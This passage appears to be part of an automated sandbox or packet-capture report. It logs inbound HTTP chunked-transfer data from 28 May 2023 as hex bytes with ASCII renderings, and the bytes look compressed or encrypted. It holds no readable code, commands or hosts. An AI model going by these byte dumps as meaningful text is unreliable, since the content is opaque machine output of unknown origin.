2023-05-28 08:43:39 UTC	1629	IN	Data Raw: b4 ec 72 c4 01 ea e6 d7 7e f9 7a b5 ca 78 8b 64 53 09 04 5a 40 13 24 4d 2d 7a b3 a3 51 8b fc 6d 89 42 ca 0d da fc 16 66 d2 ae bd 1e 16 56 18 84 aa 57 f6 35 f1 10 d5 3d 74 a8 90 8b 59 ab 71 f5 61 46 9b ff 6f ef 38 76 48 68 02 0b f1 23 b1 ee f8 88 8c 81 b3 1c 82 14 f5 ee 51 df 49 8c ef ae 4e 21 76 ec 0b c7 0d 4a 28 23 86 f6 20 79 9b dc 7e 33 1d 45 10 4b 79 1f d8 9c dd 03 bd ed 2f 93 74 4c f6 7c 96 c0 2a 97 f3 60 e1 9f a8 74 09 33 52 42 0d 42 c3 e9 99 f4 fc 22 c1 9c 57 7b de 03 c2 c6 3d 47 80 cf 85 a2 5a 2b 6d 24 d5 f1 b5 69 1d e3 6c dd 52 7e a9 e6 26 78 d6 ee df e7 4f e2 d7 d0 3c b8 20 87 ca 09 fd d5 f4 59 4e 5e 25 3e ae f5 fd 94 cd ac a7 9a 19 c6 1d 0f 2b 63 0a a4 d8 78 a5 1e 00 67 f0 ce d9 6d 18 dd 0f 1d db fd 3a 80 5d 01 50 cd c2 25 7c 51 35 00 37 2e f8 Data Ascii: r~zxdSZ@$M-zQmBfVW5=tYqaFo8vHh#QIN!vJ(# y~3EKy/tL\|*`t3RBB"W{=GZ+m$ilR~&xO< YN^%>+cxgm:]P%\|Q57.
2023-05-28 08:43:39 UTC	1637	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1637	IN	Data Raw: 32 30 30 30 0d 0a fe 84 7e be a7 27 85 36 93 f6 c0 ca 8c bb 2d 70 b1 8e c7 e1 14 6b 5d 99 ec bd 29 12 a9 99 3b c6 ef 6c f2 32 9b 73 5d 80 70 50 d1 5a 87 af 8f a0 10 1c 27 5a 3d 4b 42 45 d4 6e 7b a6 ce 11 41 1b b6 df cf 1b 6f 31 6f 24 7d 36 42 b6 7a cd 8f b7 ad 6c ab fa 86 d1 ad e3 16 40 b8 5a b5 65 63 a2 b0 84 70 08 82 02 f6 b8 41 a2 25 5e fa 5e 7e d1 0a 3a 0b f3 5e 77 9b 16 99 46 aa a0 85 c1 18 59 0b 71 48 43 d7 84 f9 3d 03 bc 84 c2 ab c0 99 31 bc e7 5e a0 dd a5 a4 83 df c1 bc bc 99 c8 40 89 35 c6 98 75 da 19 89 99 aa 68 9e a5 64 19 7b 97 c5 11 2a 33 ac f6 48 0b 56 8e b3 b3 20 4e 15 f4 47 a7 4e 23 60 a2 72 70 e9 2b 02 8c 2c e6 72 76 20 cd ae a6 c1 6f 75 44 9a 4c 24 0b 34 2f 87 e4 61 08 d3 d9 f0 a7 8d 45 9f fb ca aa 60 e8 f6 39 40 26 8a 3a 55 1e 0a 38 af Data Ascii: 2000~'6-pk]);l2s]pPZ'Z=KBEn{Ao1o$}6Bzl@ZecpA%^^~:^wFYqHC=1^@5uhd{*3HV NGN#`rp+,rv ouDL$4/aE`9@&:U8
2023-05-28 08:43:39 UTC	1645	IN	Data Raw: b7 c6 19 85 0e ad Data Ascii:
2023-05-28 08:43:39 UTC	1645	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1645	IN	Data Raw: 32 30 30 30 0d 0a c9 97 9e b5 89 23 90 db 47 a8 12 55 23 68 e1 a7 41 41 53 8e 47 fa d5 74 d6 ba bf af 3f ef d7 b6 7c fc 58 0d d6 7f 4d 38 e9 32 50 6e 2f 23 6c 8a 41 87 f1 63 e3 f5 fb 63 1b bf 98 8e db da 70 49 0d 43 30 f7 83 af 16 43 90 0d 1f d7 ac 4d 71 28 89 53 ac c7 b0 91 2a 26 78 a1 9f 4d ff ed 3a df 11 af c9 14 56 2b 11 bd d8 61 cd 84 72 ff ec 1d 4d 5d 14 29 9f 4f 91 08 71 9d c6 2f a7 93 dd 57 f2 50 52 c0 7e f4 3d ff 57 eb e3 f4 d9 75 14 3b 63 28 55 af 74 c7 b5 a9 e2 eb 58 7f c7 6b db 9e 1d c5 0a a6 68 e5 68 26 16 27 f6 3d bb db 06 73 fe a4 89 1d 81 07 e5 7c 05 f8 cd 90 59 46 f3 18 73 b6 43 50 72 28 9b 4f d5 a8 e1 f8 f4 69 a4 2e ae f0 a3 7a c7 e8 38 68 a8 c5 69 b0 46 be e2 c6 7a 6e 20 92 83 bb f4 fc 13 ce fb 60 df 33 55 f5 65 ef 6e d3 00 f1 2c 59 b2 Data Ascii: 2000#GU#hAASGt?\|XM82Pn/#lAccpIC0CMq(S*&xM:V+arM])Oq/WPR~=Wu;c(UtXkhh&'=s\|YFsCPr(Oi.z8hiFzn `3Uen,Y
2023-05-28 08:43:39 UTC	1653	IN	Data Raw: 79 3e 7b 47 cb 9a Data Ascii: y>{G
2023-05-28 08:43:39 UTC	1653	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1653	IN	Data Raw: 32 30 30 30 0d 0a b0 c1 ff f2 e1 22 08 f6 ac 15 75 d9 7b 2b 68 74 3e 58 37 c2 60 9c fa bf d6 73 50 5e 04 4a 14 43 b4 ee c5 9c 33 31 d8 b8 2d 7e 5f 52 47 bf 3e 80 a5 66 4f 49 89 c3 1f 38 0f 16 79 86 9a 00 6f da 79 f9 c1 99 44 ae 0d e0 fe 8b 32 c2 4a ec d7 d4 53 5c fc e0 23 f9 02 b9 56 d1 cb 63 7c b5 aa 68 a2 bc a8 f6 2b d4 4f 00 03 76 a8 3c f9 a7 25 b6 1b cb ff 21 de b1 57 55 2b 61 44 a7 19 34 aa 7b ee 16 36 58 d5 54 1d 3c 6a 39 a5 64 f5 db 4b 7d bf 4e 24 0c 5e e5 ef 18 5d eb 29 83 bc 77 dc 3f 05 13 0e df 38 ff 79 4a 29 1d 79 9c f4 82 34 c8 e7 33 9c a6 97 1d 2b 80 e4 5d b3 1c b1 4c f7 5b 97 cf a5 70 68 e1 c5 14 7c fe 24 f9 0f b9 84 68 b0 ba 9c f5 e4 7a 68 c5 c8 d8 f0 ea 84 52 a5 27 be 35 55 18 b7 bc 28 a9 b4 ca f3 11 b2 06 ad 51 26 3f 29 4a 53 31 e5 4b 6e Data Ascii: 2000"u{+ht>X7`sP^JC31-~_RG>fOI8yoyD2JS\#Vc\|h+Ov<%!WU+aD4{6XT<j9dK}N$^])w?8yJ)y43+]L[ph\|$hzhR'5U(Q&?)JS1Kn
2023-05-28 08:43:39 UTC	1661	IN	Data Raw: ba 37 30 4e 7a 17 Data Ascii: 70Nz
2023-05-28 08:43:39 UTC	1661	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1661	IN	Data Raw: 32 30 30 30 0d 0a 6a d7 90 bb 62 e2 43 c3 7b 70 52 21 02 90 a3 37 b4 ff 33 25 c9 e4 c6 dd 0d b0 be e9 d1 53 c9 19 ac 45 58 c0 cb 77 1f 90 5b 4a 6b d4 7e 45 96 7d da 24 dd ec f4 bc 1c 24 06 8f 5d bd 38 34 07 da 5f b9 5e 3b ef aa 0b 8c a4 45 89 6e 56 77 63 04 27 2f f2 0e a4 5f 07 cc 5c 6f ef 9e f9 9f 49 5f c6 fb a8 0b 0a fd 59 73 3d 00 b5 1a 38 dc 9d 64 e6 21 25 62 10 31 d6 1a 77 78 e5 6f 9f 39 02 52 ee 96 de a4 c7 ae 08 0e 16 39 d7 0d 9f c0 58 ed 32 4f 9d 40 04 5b 33 bf 38 8b 31 98 44 53 3e 07 a7 29 81 81 1b f6 c9 d5 fa a0 be 0f ed ce 6b 06 6f bb fa c0 38 c4 34 6a 7c 2c fb 2f 72 c9 6d 89 b1 fb ca 05 0f a5 8b a9 7b 0c fc 7b 28 aa 51 0f c7 b2 b8 19 58 e2 38 77 1b d6 e5 b0 9e 46 8a 7e e7 11 6b 1c e0 9a c6 0e 1c a3 e9 19 f8 3a e0 bb d4 66 8e 3d a9 8c 45 dd 6e Data Ascii: 2000jbC{pR!73%SEXw[Jk~E}$$]84_^;EnVwc'/_\oI_Ys=8d!%b1wxo9R9X2O@[381DS>)ko84j\|,/rm{{(QX8wF~k:f=En
2023-05-28 08:43:39 UTC	1669	IN	Data Raw: 03 2f 04 d0 da dc Data Ascii: /
2023-05-28 08:43:39 UTC	1669	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1669	IN	Data Raw: 32 30 30 30 0d 0a 66 d7 d2 18 4b e5 a9 70 6d 3a bc 75 8d a1 9c a1 b7 47 d8 bf 16 8f 32 e7 fc 8b 25 1e e6 c2 bf d4 af 92 7b a3 fc fa 56 1b 4a d6 59 11 78 aa 37 76 20 c2 4f 5f 69 00 39 95 6d c5 50 ed 1d 01 13 22 15 c0 92 2b e9 a0 a2 dc 99 e2 6f b1 17 82 5f 82 b3 05 d0 fa f2 cb 47 69 27 2c d0 e5 e6 76 f6 ac 1d 98 43 d4 09 29 e3 06 59 e2 8b bc 71 69 d4 8f 66 8d 31 9f e7 22 36 ce 62 68 1c 96 fe 28 cc 21 7b 00 0a f6 d9 01 9a 33 f8 70 c5 3e 8b a8 57 ec b9 76 75 7d 8e 62 9d 1a 22 46 64 83 7a a7 f0 ce 46 6f 54 c8 28 a5 f7 db 8d 1e 31 d2 19 f7 e6 a8 e5 04 53 bf 6a 56 63 40 9d 20 86 f2 cc 91 04 ea 04 3e 7d 17 a5 11 9c 2c e2 55 07 3a 6a 48 b1 49 fe 51 45 05 2a a1 af d8 0a 49 56 91 cf 9b b3 7e 61 42 dd b4 3a d9 ae 2f 89 7c 7e ca a0 64 2b c1 ea 58 69 db 43 bb 1b 99 f6 Data Ascii: 2000fKpm:uG2%{VJYx7v O_i9mP"+o_Gi',vC)Yqif1"6bh(!{3p>Wvu}b"FdzFoT(1SjVc@ >},U:jHIQE*IV~aB:/\|~d+XiC
2023-05-28 08:43:39 UTC	1677	IN	Data Raw: 1d 85 5a 02 b8 59 Data Ascii: ZY
2023-05-28 08:43:39 UTC	1677	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1677	IN	Data Raw: 32 30 30 30 0d 0a 19 5f 36 b4 f4 69 cd 1c 48 35 f8 22 0e 48 3c a2 72 fe 15 22 44 5f c5 9f 29 d6 46 0c bf 11 d2 f4 35 62 a8 0c 91 9c a3 6e 0b 44 d2 e8 a8 8e 07 5e c1 40 58 39 4c 79 c6 3f ec 41 45 76 c5 0d 87 d5 ab a8 08 7e 98 03 b0 e0 ac 24 a1 d1 c2 df b3 78 01 90 52 11 61 80 8d 3b 23 b4 27 1e fb 6c 16 ad d1 b7 58 0e 6a 08 b8 b3 b3 4e ce 9d 8a f2 e5 4e 96 aa 27 4e c1 38 9b f9 e3 7e 31 2a 2e dd 6a 3c d9 f5 c1 48 f7 7f 2a aa 23 0b 4b f1 45 1c 85 26 38 31 41 e7 38 44 9c ff 95 46 3d 33 c8 b8 a1 3a 73 0f e5 7d fa 74 80 b5 df f1 6c 1b ca b3 b0 bc 38 d9 9d 8f f4 33 0c 0a ba 5c 25 7d 16 1e bf a9 62 8e cc ba b5 44 9f 20 6c f8 c2 e6 91 29 59 62 b4 86 6c af d1 ee 6a 9e 88 43 87 87 5c 71 aa 89 a2 35 af f5 04 3c 5f d7 d5 8c c9 c1 18 a8 9c 9b 96 18 c0 67 ba 61 a7 bf ef Data Ascii: 2000_6iH5"H<r"D_)F5bnD^@X9Ly?AEv~$xRa;#'lXjNN'N8~1.j<H#KE&81A8DF=3:s}tl83\%}bD l)YbljC\q5<_ga
2023-05-28 08:43:39 UTC	1685	IN	Data Raw: 7e 18 b9 01 0e 59 Data Ascii: ~Y
2023-05-28 08:43:39 UTC	1685	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1685	IN	Data Raw: 31 66 66 38 0d 0a 5f 13 ef 91 5a 66 d4 de 06 bc ad 2b 68 89 fa 3d b2 a0 b9 27 a0 e0 57 2d 72 43 78 e8 a7 8c a3 76 52 7d f7 57 32 58 13 76 cd 2f 5d 63 db e0 9d 47 9b 62 a3 2b 3f 08 43 ce e3 f3 d9 0d 61 04 f1 d9 c8 1e 09 f3 3e 7d 6e 66 4d 0d f8 98 6b 44 e1 07 7f 04 cf df 33 56 49 6c 3c c6 5b 87 ee f3 92 48 7f da 19 28 19 dd 67 62 9b 01 2a ad d9 28 fc 70 ce 39 78 8e 74 c9 8f 37 87 db a3 7b 23 b3 8f d9 ac dd 4f 64 b5 08 5e 10 f3 3b 67 05 45 ba 74 32 c1 cf ab 0e 03 a0 45 0c e0 4a b3 9d d2 55 f4 af a5 87 91 f9 d8 a0 09 fe 86 f9 a1 7b fb 26 e4 c3 a3 50 c3 7e f6 0e 75 29 0f 37 fb b5 f6 6d b0 40 5f 21 ed 0e 11 69 da 5a 9a 89 89 db 8a 37 5b 91 21 75 1d 56 46 45 1d 4e 3c 32 e8 2d f1 e0 12 85 e3 61 28 65 29 b5 62 0e 90 b7 e7 52 bb 8c 9c 4b 4f f6 b9 3f 35 53 4c f1 53 Data Ascii: 1ff8_Zf+h='W-rCxvR}W2Xv/]cGb+?Ca>}nfMkD3VIl<[H(gb*(p9xt7{#Od^;gEt2EJU{&P~u)7m@_!iZ7[!uVFEN<2-a(e)bRKO?5SLS
2023-05-28 08:43:39 UTC	1693	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-05-28 08:43:39 UTC	1693	IN	Data Raw: 0c 23 31 38 6e 0a 8a 74 96 1e 39 7f 08 3a b9 5e 7f 30 ae 7e 52 46 a7 39 4d 4c 8b 20 90 15 6c ef ea 2d d3 6a 75 d8 43 29 21 a1 b7 69 60 37 1b 97 6d 57 43 ed a5 c2 45 3e 7f 5f 5e 5d a9 46 6e b2 5f fd 95 0c d9 6c 41 4f cc 68 9f d0 6c 78 5e f3 54 0a 1c 47 03 5f 2c 09 3d 9a bb a4 79 d3 a1 6f 6c d2 3a 42 86 1c 06 00 4c 54 94 27 64 cb 1f cc 66 04 b3 6a 90 8b 6f fa 63 4f 33 7c f4 4f 88 b9 12 96 85 72 54 6e 7d fb 7f 79 6b 10 65 ad b0 c7 f7 81 80 8a ef db 69 e6 3b 00 23 30 f6 b0 d8 90 da 79 5b ce 08 cf a9 79 51 c8 a5 22 70 97 56 cb f4 9e 4e e4 0d 25 02 f0 9b a9 40 39 4c cc f7 51 86 19 b4 50 b6 62 9c d2 68 56 4b 30 3c af 39 e5 b0 b8 5c 71 11 fd ee 0f c2 27 6f 33 75 84 aa 89 85 68 88 5a 94 f7 a6 d6 15 db 9b e8 ac b8 72 2f e7 2c 51 e4 85 6c fa 35 88 1e b9 e9 74 90 4a Data Ascii: #18nt9:^0~RF9ML l-juC)!i`7mWCE>_^]Fn_lAOhlx^TG_,=yol:BLT'dfjocO3\|OrTn}ykei;#0y[yQ"pVN%@9LQPbhVK0<9\q'o3uhZr/,Ql5tJ
2023-05-28 08:43:39 UTC	1701	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1701	IN	Data Raw: 32 30 30 30 0d 0a 60 8a 51 e7 44 90 66 74 3b 25 17 f6 8e 68 62 f3 66 f6 74 e9 1e 06 af 89 5c 4c 7b 5c bf 88 f4 62 c7 10 e6 8d 3e 7b 53 1d e4 ca 87 17 cf d9 6b 6b 14 8b 02 69 c3 d9 38 1e 25 60 83 e0 0a 32 73 bd 33 4e db 39 e9 74 13 4e 07 22 ce 10 6a 08 bb d3 66 1b 10 f9 53 ba b8 fe 43 13 86 a8 ce f6 6a fb 3c a3 6d 00 08 82 41 d6 f3 fc 56 1c 83 11 b0 42 46 82 1f 04 03 e4 c1 48 b3 d5 51 7b 33 82 65 70 e8 ba 6a 64 1b d7 3f 0b 6c 99 b4 6f 07 ee 32 e1 75 5e 1d 9a 6b af 9f 0f 4a dd de 6a 24 d7 5d 76 84 92 54 f1 8d 59 e1 0e f7 3a 91 d9 6c 60 69 4e 98 9c 73 3a ad 3a a5 3b 82 05 2c 24 01 ea 2d a8 6d 74 01 37 02 5f 86 23 e8 7d 89 90 fc 9d 63 86 3c 84 ed 48 ca be a4 de 09 b8 c3 61 91 cf 4c 86 de a3 05 be 8f 8a 4f 52 d7 6f 76 30 df a0 16 de d6 3c ca 80 ff 9a a7 40 a0 Data Ascii: 2000`QDft;%hbft\L{\b>{Skki8%`2s3N9tN"jfSCj<mAVBFHQ{3epjd?lo2u^kJj$]vTY:l`iNs::;,$-mt7_#}c<HaLORov0<@
2023-05-28 08:43:39 UTC	1709	IN	Data Raw: 48 09 69 09 cf 4a Data Ascii: HiJ
2023-05-28 08:43:39 UTC	1709	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1709	IN	Data Raw: 32 30 30 30 0d 0a bd 0f 1a 1c 49 2c 0d 0e e4 58 25 42 b4 45 63 f0 d5 f7 9e 5d 44 d2 d7 86 38 ee 76 0a 11 18 33 45 e2 18 4b a7 c2 87 d1 25 12 f0 c8 23 3c f7 87 06 4b 8d 14 57 0f bf 10 8d 61 54 ce cc ed f9 61 ab 42 dd 4f ec 02 a0 69 48 73 b0 2d 05 91 c9 27 cb ec ee 87 13 e5 c6 e5 00 4d bd fa e2 a2 9a 18 61 58 5e 9b 7b 37 29 e3 da 61 4f 04 6c 18 e9 66 7c 31 8e 30 1d 9c dc 4a e0 4b 37 40 41 0b 37 52 49 5d 1c 88 41 0e 68 1a 97 5d b7 48 9d 9d 60 13 0c cf 10 51 07 88 d9 8c c9 ea ad 61 6b b1 9a 9c 22 12 cb 2a b5 15 ca ef de 2c 78 19 57 88 ae 9c 09 0a 13 1c 21 67 4e 6f cb 61 cf f0 fe 5e 81 42 7e 50 7f b2 49 97 13 17 8f 7e 30 44 2e 9c 85 5e c1 58 00 c3 e9 68 bc 2a 5e 68 8a db 15 e7 8a 36 3d 43 0d de 7e 3e ca 14 74 38 96 79 2c 76 a3 94 2a 41 e4 eb 8a b3 45 3e 6b 71 Data Ascii: 2000I,X%BEc]D8v3EK%#<KWaTaBOiHs-'MaX^{7)aOlf\|10JK7@A7RI]Ah]H`Qak",xW!gNoa^B~PI~0D.^Xh^h6=C~>t8y,v*AE>kq
2023-05-28 08:43:39 UTC	1717	IN	Data Raw: a8 2c 91 97 13 cc Data Ascii: ,
2023-05-28 08:43:39 UTC	1717	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1717	IN	Data Raw: 32 30 30 30 0d 0a d7 ee 19 b6 4e 96 1e 14 db 36 47 43 f1 e2 96 d5 b4 49 ff 49 52 35 9c 76 6b 0a 1d ff 53 f1 e7 c9 0b d3 16 d7 95 90 a2 e7 74 6f 31 a1 56 86 f8 ab 5b 21 7c 58 ac 6b 6e b3 21 2d ae 87 91 97 0e 41 f3 4b cd ca 7e 59 a8 1a 41 5a 99 24 4a ee b5 0d 3b 46 f0 ba fd 59 cf 66 95 88 ca 8d 9b 87 96 7c a3 44 ab 6f bb a3 fe bc 40 ae 01 2d ac c8 76 68 8f 5c 04 55 9e 5a 71 dd 06 39 9b 8d c5 4e 84 5a 58 f4 1e 5f d6 1e 8d 14 91 a4 5e 9d 14 2f 8d 0d 3c b4 d4 28 36 ec 84 6f 95 a3 16 98 c6 f9 22 c6 6c 65 7c 8d 80 07 12 a8 c9 d5 c1 2c f2 48 d1 44 2c d9 06 2a 68 aa 3b 88 30 5b 72 93 74 dc 00 64 da 0d 9d 72 f2 68 fa a4 43 ae 27 8b 24 09 cf 83 3b 10 0a b0 ec 96 06 24 1b d4 d1 b1 99 4d 7a ce af 55 da 2f a2 7a e3 a9 8c 3d bd 40 af 9b 3f fc 9e 5b 68 4c 1f 4a c8 82 e9 Data Ascii: 2000N6GCIIR5vkSto1V[!\|Xkn!-AK~YAZ$J;FYf\|Do@-vh\UZq9NZX_^/<(6o"le\|,HD,*h;0[rtdrhC'$;$MzU/z=@?[hLJ
2023-05-28 08:43:39 UTC	1725	IN	Data Raw: 66 6e 2b 39 a3 32 Data Ascii: fn+92
2023-05-28 08:43:39 UTC	1725	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1725	IN	Data Raw: 32 30 30 30 0d 0a d6 bc 53 4c 61 a3 8a aa 16 c6 9c 92 13 1f 29 0f d7 da 5f 85 98 85 65 40 18 81 d0 74 60 f6 18 80 c5 aa f5 23 31 ec 10 f8 b9 ef c5 96 68 4f 3a f2 31 83 71 ed a6 6a ba 8b 65 32 93 2e 77 1b de bb cb c5 ea b1 75 1d 9b 5d 02 fc b1 0f e6 fe a3 0b 3d 6e b4 10 24 5f d4 7e df 07 a8 6d 4d 46 0f 43 d2 fb 3a 14 48 eb 09 84 ad 1a 7a e5 2b ea c8 98 d0 cd 92 6f af df 9a 2d b4 cd 4c b0 7b 1e 10 b9 50 6a 6e 9d cd b3 81 01 2d aa 83 7d b3 94 16 43 7d 60 ef 6f f1 09 eb 5e 67 52 ed 28 08 b0 8d 27 d4 b0 34 5f 90 88 35 a9 12 4e c6 0a ec 6f 0e 44 52 57 b0 8d f0 f5 8a 1b c0 af 04 f4 ef 14 c0 1e 24 c0 5f d7 3b 93 3a 64 27 e0 78 6e a9 26 3f 45 01 93 e0 bb 3b df a7 6c 39 d5 b2 db d1 ea 06 a1 5f 8a 05 a1 c4 92 fd 56 9e 25 77 9b 09 e3 0b 98 4e 21 a1 a8 9c 88 57 b3 5d Data Ascii: 2000SLa)_e@t`#1hO:1qje2.wu]=n$_~mMFC:Hz+o-L{Pjn-}C}`o^gR('4_5NoDRW$_;:d'xn&?E;l9_V%wN!W]
2023-05-28 08:43:39 UTC	1733	IN	Data Raw: db 5d d2 98 fb 7f Data Ascii: ]
2023-05-28 08:43:39 UTC	1733	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1733	IN	Data Raw: 32 30 30 30 0d 0a cc 38 a8 7b c9 89 06 63 0e 7b bd f0 33 b9 33 86 a7 7a d1 0a 94 9d 7e ec 4d 76 67 50 e3 b0 0c 94 b3 e1 85 e8 79 97 17 94 46 e9 00 13 a8 48 6b 68 cc c8 6c fc 4b 6c ac 9a da af 7e b2 88 cd cb f8 48 32 ce b8 96 f5 97 26 83 f8 00 23 91 3e d0 65 3c 83 a2 f0 37 63 6a cc f7 6b 6e cf 9f 62 e0 e3 7d e3 4f 41 68 5b 31 1f 11 a8 80 07 da 46 ba 84 ed 74 9c e9 b4 53 85 4f 50 53 63 92 bf 55 b1 7b 53 ce 60 e6 8d 93 5e f8 a6 21 76 d2 33 a1 65 67 56 36 1f 35 9d c1 06 6f 12 be 46 dc 2e cd d8 d0 2e f7 47 d8 6c bd 17 49 5d d3 b6 79 9b 1e f7 df 51 16 5a f0 56 41 6e 53 a8 d8 32 38 12 ea 07 fe ee 6e b5 fb 4b e3 01 15 98 ea 7f 43 46 0b 18 e9 eb aa 8c e8 54 17 52 30 70 08 ea 40 85 10 44 0b 07 ba 5f af 31 00 68 b7 d3 c6 4b e8 ab 69 af 7b c4 5a 2c f4 a4 16 f4 ee 98 Data Ascii: 20008{c{33z~MvgPyFHkhlKl~H2&#>e<7cjknb}OAh[1FtSOPScU{S`^!v3egV65oF..GlI]yQZVAnS28nKCFTR0p@D_1hKi{Z,
2023-05-28 08:43:39 UTC	1741	IN	Data Raw: de 1d 66 66 b6 c1 Data Ascii: ff
2023-05-28 08:43:39 UTC	1741	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1741	IN	Data Raw: 32 30 30 30 0d 0a e3 51 65 77 46 f4 60 76 bf ca 11 87 23 e7 be bf 9b 77 de b6 18 f4 fc 18 ff 83 fe 67 64 36 3d a9 15 dd 51 c6 ef ef c7 57 28 0e 5c bd 7e 0f 41 1e ae 53 f3 7d 1c c8 02 4b d6 29 72 a2 a0 3e 63 cb 63 58 6f f1 c0 8e 0e 56 32 6b 39 cc a5 1a 9d a5 75 99 00 fd ff 84 67 f6 bf b2 2c bd 86 d0 09 56 8a a9 ea d8 9d a2 a6 ba a8 ce c9 f4 d8 14 9c 0f 89 97 d1 0c 7b e0 47 f3 d4 f0 49 89 89 d5 f0 56 25 cc c6 db 13 18 f8 21 a3 0b 68 9e 30 a6 49 28 62 f7 b9 a4 22 fb 75 e1 d2 b5 26 a3 63 bd c6 64 36 92 f9 7e 83 90 17 35 18 01 92 9a af 20 0e 21 69 89 63 e5 f3 c3 52 fd aa f6 18 8a 62 2e 91 2f 14 37 0d 7e c1 dc 10 65 62 a5 45 4d a8 ba 2b 50 46 8f 18 09 02 6a 9f 2c b9 3e 55 f2 ec 12 16 a2 71 70 65 ce e3 34 0f 92 ff 47 69 54 c0 b4 73 87 6d 4b 3e 9a 9f 6b 66 1f 4a Data Ascii: 2000QewF`v#wgd6=QW(\~AS}K)r>ccXoV2k9ug,V{GIV%!h0I(b"u&cd6~5 !icRb./7~ebEM+PFj,>Uqpe4GiTsmK>kfJ
2023-05-28 08:43:39 UTC	1749	IN	Data Raw: 4b 63 aa d1 f3 39 Data Ascii: Kc9
2023-05-28 08:43:39 UTC	1749	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1749	IN	Data Raw: 31 66 66 38 0d 0a e7 94 37 a2 ff d3 a7 22 64 10 b9 7a c2 5f d0 71 01 bc 33 ab e5 48 88 6f 68 47 c1 bf ac ff 2d b1 27 36 3e f9 45 2b 67 a2 8a 0b 1c b2 1f f8 2f 75 c7 8b c3 38 03 70 60 a6 5c f2 c4 79 62 98 b1 b5 72 4f e5 60 bb 65 f8 dd d7 1e d9 98 c2 32 df d3 50 1d 96 db e8 7f 0b 07 e4 c2 ea 51 ec 37 c4 a5 07 aa a9 f8 e1 d3 d3 68 6f 9a 80 4f 6c bc b5 fa e8 e1 9b 15 5a 8f ba 74 54 13 b3 98 0c e2 de 2e 94 91 98 3c f6 b9 59 b4 e4 6c e4 34 23 61 8c 46 58 5f 0c 8d 19 24 21 09 f2 01 0f 05 bf 0b 1f 0a 0e e2 85 1f 5e 08 7d d6 65 e4 8f 99 b2 6e 7d 28 40 8b f8 19 e2 73 9b d2 e8 26 ee fc 3f 6d 6f 24 68 6f 91 87 73 77 13 03 17 71 48 0b 1a 1f 82 88 eb f4 95 7d d3 45 45 e8 55 a1 53 aa 51 ac e5 0a c4 89 eb 7c 56 2f 05 d5 2a 47 a6 ed 74 f5 8d 34 3c c3 0c 04 e5 8f 94 d4 8a Data Ascii: 1ff87"dz_q3HohG-'6>E+g/u8p`\ybrO`e2PQ7hoOlZtT.<Yl4#aFX_$!^}en}(@s&?mo$hoswqH}EEUSQ\|V/*Gt4<
2023-05-28 08:43:39 UTC	1757	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-05-28 08:43:39 UTC	1757	IN	Data Raw: 20 ae 78 66 9f 3f f8 7c bd 8c 33 24 d3 af e6 32 dc 3b 09 5d 8a 75 2c 84 2e fa 3a 5a bf 11 43 52 ef 45 97 47 93 73 8e db 1c 30 bb f3 13 60 93 dc 65 15 c4 d8 f0 66 90 a9 02 4d da ad 27 8d d6 85 04 94 b0 b0 ed 4f a7 f1 16 d1 83 8d bd 29 08 63 46 98 b5 ba 46 16 fd 42 f8 4f 46 3e 1d 34 69 d7 10 03 c6 22 99 c4 1d df 9d 33 38 8e b9 21 cb a7 de 42 e4 c9 6f 04 e1 fb c5 40 ac 64 19 f2 af 83 31 d2 59 5e 22 5a ed 6f 8b e9 4d 27 9d 6a 55 a2 8d d0 38 0b af 51 08 e0 fb c2 75 08 be 00 76 6a 5f 50 f8 65 20 48 b7 3c 0c 09 3d e2 18 eb 54 98 85 fa b5 d8 9a cb c3 82 f2 64 11 c7 f6 ff e7 49 18 86 55 6a 6f f5 09 57 d1 bf 4c 90 70 62 6b 3c 81 43 40 21 be ce 11 92 ad f9 28 a7 92 b2 50 ef 70 85 35 95 f5 b3 c9 72 59 9b 95 95 b9 26 9e 8e 0d b6 ff e0 81 17 f7 39 4e e0 3c 36 15 f8 88 Data Ascii: xf?\|3$2;]u,.:ZCREGs0`efM'O)cFFBOF>4i"38!Bo@d1Y^"ZoM'jU8Quvj_Pe H<=TdIUjoWLpbk<C@!(Pp5rY&9N<6
2023-05-28 08:43:39 UTC	1765	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1765	IN	Data Raw: 32 30 30 30 0d 0a 08 9b 90 6e dd 0a 4a 95 52 4c 16 b9 8c 86 ea f9 11 80 86 f2 d5 fd 45 fb 01 86 91 b1 22 ce 31 23 9b 51 b0 65 4a b6 b9 75 e3 d6 31 fc be 20 84 65 f6 23 0b 84 07 ef 44 1f 2c 46 05 73 bb 87 91 a7 02 b6 80 e8 9b 2c ea db 60 35 b8 94 cf 47 30 62 b9 26 62 e6 12 db 6e 1a ea 54 e4 8a 84 f5 fc 96 00 7f f8 56 3f de 9c 29 1b 23 cb 5d de 65 8a 81 d1 01 c7 8c 24 3c 0a ab e4 92 c2 ac 9c 55 5f 39 a6 89 b8 a0 23 4a 46 a8 73 47 d0 12 7c 74 52 b6 df 27 bd 03 33 87 0c 52 53 35 be 5e a8 ba 77 78 12 b2 52 5d 59 5e 46 e6 5a f2 a4 47 07 a5 fe 34 5d 8e f7 e1 16 38 21 4e 0f 87 a3 6f 82 f1 8a 5a 22 b8 2b df 79 c2 73 8b 70 33 a0 07 7a ea 9a 88 f8 9f 4c fd 50 50 76 f6 21 f9 16 0d 7b e8 53 d4 00 24 b8 15 42 f2 0b e3 0c 15 73 41 3e b0 cb 15 04 4f d2 f5 3e 47 1b 01 81 Data Ascii: 2000nJRLE"1#QeJu1 